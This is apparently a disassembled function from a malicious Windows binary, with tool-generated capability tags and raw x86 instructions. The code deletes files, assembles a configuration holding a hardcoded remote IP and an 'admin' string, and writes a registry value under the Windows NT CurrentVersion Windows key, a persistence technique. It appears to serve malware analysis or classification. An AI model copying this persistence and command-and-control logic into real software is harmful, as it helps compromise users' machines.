Function at 0x402600
Capabilities:
Delete file
Get common file path
Set registry value

Disassembly:
mov eax, 0x1b8c
call fcn.00417640
mov eax, dword [0x424044]
xor eax, esp
mov dword [esp + 0x1b84], eax
push ebx
push ebp
push esi
push edi
push 0x206
xor ebp, ebp
lea ecx, [esp + 0x766]
xor eax, eax
push ebp
push ecx
mov word [esp + 0x76c], ax
call fcn.00412cf0
add esp, 0xc
push 0x206
lea eax, [esp + 0x118e]
xor edx, edx
push ebp
push eax
mov word [esp + 0x1194], dx
call fcn.00412cf0
add esp, 0xc
push 0x206
lea edx, [esp + 0xb76]
xor ecx, ecx
push ebp
push edx
mov word [esp + 0xb7c], cx
call fcn.00412cf0
xor eax, eax
add esp, 0xc
push 0x7e
lea edx, [esp + 0x5e6]
xor ecx, ecx
push ebp
push edx
mov word [esp + 0x5cc], ax
mov dword [esp + 0x5ce], eax
mov dword [esp + 0x5d2], eax
mov dword [esp + 0x5d6], eax
mov dword [esp + 0x5da], eax
mov dword [esp + 0x5de], eax
mov dword [esp + 0x5e2], eax
mov dword [esp + 0x5e6], eax
mov word [esp + 0x5ea], ax
mov word [esp + 0x5ec], cx
call fcn.00412cf0
add esp, 0xc
push 0x7e
lea ecx, [esp + 0x6e6]
xor eax, eax
push ebp
push ecx
mov word [esp + 0x6ec], ax
call fcn.00412cf0
add esp, 0xc
push 0x7e
lea eax, [esp + 0x666]
xor edx, edx
push ebp
push eax
mov dword [esp + 0x20], ebp
mov word [esp + 0x66c], dx
call fcn.00412cf0
add esp, 0xc
push 0x206
lea edx, [esp + 0xd7e]
xor ecx, ecx
push ebp
push edx
mov word [esp + 0xd84], cx
call fcn.00412cf0
add esp, 0xc
push 0x1e0
lea eax, [esp + 0x24]
push ebp
push eax
call fcn.00412cf0
add esp, 0xc
push 0x1e0
push ebp
lea ecx, [esp + 0x3e8]
push ecx
call fcn.00412cf0
add esp, 0xc
push 1
lea ebx, [esp + 0x24]
call fcn.004077a0
add esp, 4
mov esi, eax
push ebp
lea ebx, [esp + 0x3e4]
mov dword [esp + 0x20], esi
call fcn.004077a0
add esp, 4
cmp dword [0x425050], 3
mov dword [esp + 0x18], eax
jne 0x4027c5
push 0x104
lea edx, [esp + 0xd7c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41fd40
lea eax, [esp + 0xd7c]
push 0x104
push eax
call fcn.0040c5f1
add esp, 0xc
jmp 0x4027d8
lea ecx, [esp + 0xd78]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x104
lea edx, [esp + 0x118c]
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp esi, ebp
je 0x4029f0
lea eax, [esp + 0x1c8]
push eax
lea ecx, [esp + 0x5c4]
push 0x10
push ecx
call fcn.0040bcd1
add esp, 0xc
lea edi, [esp + 0x760]
lea esi, [esp + 0x1c8]
call fcn.00401e90
mov edx, edi
push edx
call fcn.00402470
add esp, 4
cmp eax, 1
jne 0x40283b
mov dword [0x4be240], eax
jmp 0x402f22
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x972]
push ecx
mov word [esp + 0x974], ax
call fcn.00412cf0
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0xf8a]
push eax
mov word [esp + 0xf8c], dx
call fcn.00412cf0
add esp, 0xc
xor eax, eax
lea ecx, [ecx]
movzx ecx, word [esp + eax + 0x1c8]
mov word [esp + eax + 0x968], cx
add eax, 2
test cx, cx
jne 0x402880
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [esp + eax + 0x1c8]
mov word [esp + eax + 0xf80], cx
add eax, 2
test cx, cx
jne 0x4028a0
lea eax, [esp + 0xf80]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x4028c2
mov ecx, dword [str._STOP]
mov edx, dword [0x41fd94]
mov edi, dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [eax], ecx
mov ecx, dword [0x41fd98]
mov dword [eax + 4], edx
lea edx, [esp + 0x968]
push edx
push 0
push 0x20000
mov dword [eax + 8], ecx
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
je 0x402965
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call ebx
lea eax, [esp + 0xf80]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
lea ecx, [esp + 0x968]
push ecx
xor esi, esi
push esi
push 0x20000
call edi
test eax, eax
je 0x402965
lea esp, [esp]
cmp esi, 5
jge 0x402965
push eax
call ebx
push 0xc8
inc esi
call ebp
lea edx, [esp + 0x968]
push edx
push 0
push 0x20000
call edi
test eax, eax
jne 0x402940
push 0x5dc
call ebp
lea eax, [esp + 0x760]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0xa6]
mov word [esp + eax + 0x5e0], cx
add eax, 2
test cx, cx
jne 0x402980
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [esp + eax + 0x24]
mov word [esp + eax + 0x6e0], cx
add eax, 2
test cx, cx
jne 0x4029a0
movzx ecx, word [esp + 0xa4]
mov dword [esp + 0x14], ecx
xor eax, eax
jmp 0x4029d0
movzx ecx, word [esp + eax + 0xc6]
mov word [esp + eax + 0x660], cx
add eax, 2
test cx, cx
jne 0x4029d0
movzx ebp, word [esp + 0x146]
push 0x1e0
lea edx, [esp + 0x24]
push 0
push edx
call fcn.00412cf0
add esp, 0xc
xor edi, edi
lea ebx, [esp + 0x20]
call fcn.00407540
xor eax, eax
jmp 0x402a20
movzx ecx, word [esp + eax + 0xd78]
mov word [esp + eax + 0xb70], cx
add eax, 2
test cx, cx
jne 0x402a20
push 0x41fdac
lea eax, [esp + 0xb74]
push 0x104
push eax
call fcn.0040c5f1
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
add esp, 0xc
lea ecx, [esp + 0xb70]
push ecx
call esi
cmp dword [esp + 0x18], 1
jne 0x402b2c
xor eax, eax
nop
movzx ecx, word [esp + eax + 0x466]
mov word [esp + eax + 0x5e0], cx
add eax, 2
test cx, cx
jne 0x402a70
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [esp + eax + 0x3e4]
mov word [esp + eax + 0x6e0], cx
add eax, 2
test cx, cx
jne 0x402a90
movzx edx, word [esp + 0x464]
mov dword [esp + 0x14], edx
xor eax, eax
jmp 0x402ac0
movzx ecx, word [esp + eax + 0x486]
mov word [esp + eax + 0x660], cx
add eax, 2
test cx, cx
jne 0x402ac0
cmp dword [0x425050], 3
movzx ebp, word [esp + 0x506]
je 0x402b2c
xor eax, eax
jmp 0x402af0
movzx ecx, word [esp + eax + 0xd78]
mov word [esp + eax + 0xb70], cx
add eax, 2
test cx, cx
jne 0x402af0
push 0x41fdc8
lea eax, [esp + 0xb74]
push 0x104
push eax
call fcn.0040c5f1
add esp, 0xc
lea ecx, [esp + 0xb70]
push ecx
call esi
push 0x1e0
lea edx, [esp + 0x204]
push 0
push edx
call fcn.00412cf0
mov eax, 0x51
mov esi, 0x504d534d
add esp, 0xc
mov word [esp + 0x284], ax
mov dword [esp + 0x200], esi
xor eax, eax
mov edi, edi
movzx ecx, word [eax + str.218.54.31.206]
mov word [esp + eax + 0x204], cx
add eax, 2
test cx, cx
jne 0x402b60
mov ecx, 0x2ba2
mov word [esp + 0x326], cx
xor eax, eax
jmp 0x402b90
movzx ecx, word [eax + 0x41fe00]
mov word [esp + eax + 0x2a6], cx
add eax, 2
test cx, cx
jne 0x402b90
xor eax, eax
lea esp, [esp]
movzx ecx, word [eax + str.admin]
mov word [esp + eax + 0x286], cx
add eax, 2
test cx, cx
jne 0x402bb0
lea edx, [esp + 0x286]
push edx
lea eax, [esp + 0xaa]
push 0x10
push eax
call fcn.0040bcd1
add esp, 0xc
lea ecx, [esp + 0x204]
push ecx
lea edx, [esp + 0x28]
push 0x40
push edx
call fcn.0040bcd1
movzx eax, word [esp + 0x290]
add esp, 0xc
lea ecx, [esp + 0x2a6]
push ecx
lea edx, [esp + 0xca]
push 0x40
push edx
mov word [esp + 0xb0], ax
call fcn.0040bcd1
movzx eax, word [esp + 0x332]
mov edi, dword [esp + 0x28]
add esp, 0xc
mov word [esp + 0x146], ax
test edi, edi
jne 0x402c40
cmp dword [esp + 0x18], edi
je 0x402ca0
lea ecx, [esp + 0x5e0]
push ecx
lea edx, [esp + 0xaa]
push 0x10
push edx
call fcn.0040bcd1
add esp, 0xc
lea eax, [esp + 0x6e0]
push eax
lea ecx, [esp + 0x28]
push 0x40
push ecx
call fcn.0040bcd1
mov dx, word [esp + 0x20]
add esp, 0xc
lea eax, [esp + 0x660]
push eax
lea ecx, [esp + 0xca]
push 0x40
push ecx
mov word [esp + 0xb0], dx
call fcn.0040bcd1
add esp, 0xc
mov word [esp + 0x146], bp
cmp word [esp + 0x24], 0
je 0x402f22
cmp word [esp + 0xa4], 0
jbe 0x402f22
mov dword [esp + 0x20], esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0040d04c
add esp, 4
xor edx, edx
push 0x7fe
push edx
lea eax, [esp + 0x139a]
push eax
mov word [esp + 0x139c], dx
call fcn.00412cf0
add esp, 0xc
cmp word [esp + 0x148], 0
jne 0x402d27
lea ecx, [esp + 0x1390]
push ecx
push 5
mov eax, 8
call fcn.004079f0
lea edx, [esp + 0x1398]
push edx
lea eax, [esp + 0x154]
push 0x10
push eax
call fcn.0040bcd1
add esp, 0x14
cmp word [esp + 0x168], 0
jne 0x402d60
lea ecx, [esp + 0x1390]
push ecx
push 5
mov eax, 8
call fcn.004079f0
lea edx, [esp + 0x1398]
push edx
lea eax, [esp + 0x174]
push 0x10
push eax
call fcn.0040bcd1
add esp, 0x14
cmp word [esp + 0x1a8], 0
jne 0x402d99
lea ecx, [esp + 0x1390]
push ecx
push 5
mov eax, 8
call fcn.004079f0
lea edx, [esp + 0x1398]
push edx
lea eax, [esp + 0x1b4]
push 0x10
push eax
call fcn.0040bcd1
add esp, 0x14
cmp word [esp + 0x1c8], 0
jne 0x402e3a
push 0x16e
lea ecx, [esp + 0x96c]
push 0
push ecx
call fcn.00412cf0
add esp, 0xc
lea esi, [esp + 0x968]
call fcn.00405650
cmp eax, 1
jne 0x402de4
lea edx, [esp + 0xa96]
push edx
push 0x10
lea eax, [esp + 0x1d0]
push eax
jmp 0x402e32
lea ecx, [esp + 0x1390]
push ecx
push 5
mov eax, 8
call fcn.004079f0
lea edx, [esp + 0x1398]
push edx
lea eax, [esp + 0x1d4]
push 0x10
push eax
call fcn.0040bcd1
add esp, 0x14
cmp dword [0x425050], 3
je 0x402e3a
cmp edi, 1
jne 0x402e3a
lea ecx, [esp + 0x5c0]
push ecx
push 0x10
lea edx, [esp + 0x1d0]
push edx
call fcn.0040bcd1
add esp, 0xc
cmp word [esp + 0x188], 0
jne 0x402e73
lea eax, [esp + 0x1390]
push eax
push 5
mov eax, 8
call fcn.004079f0
lea ecx, [esp + 0x1398]
push ecx
lea edx, [esp + 0x194]
push 0x10
push edx
call fcn.0040bcd1
add esp, 0x14
lea eax, [esp + 0x20]
push eax
call fcn.00407860
add esp, 4
lea edi, [esp + 0x760]
lea esi, [esp + 0x1c8]
call fcn.00401e90
mov ecx, edi
push ecx
lea eax, [esp + 0x118c]
call fcn.00402510
add esp, 4
lea edx, [esp + 0x10]
push edx
push 3
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push connect
mov dword [esp + 0x24], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402f0f
mov eax, edi
lea edx, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402ed0
sub eax, edx
mov edx, dword [esp + 0x10]
sar eax, 1
lea eax, [eax + eax + 2]
push eax
lea ecx, [esp + 0x764]
push ecx
push 1
push 0
push 0x41fe94
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x402f0f
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edi, [esp + 0xd78]
lea esi, [esp + 0x760]
call fcn.00405520
mov ecx, dword [esp + 0x1b94]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
mov eax, 1
call fcn.0040bc96
add esp, 0x1b8c
ret